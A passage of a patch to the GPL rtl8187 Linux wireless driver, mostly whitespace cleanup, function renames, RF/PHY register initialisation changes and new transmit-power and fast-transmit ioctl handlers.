write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct 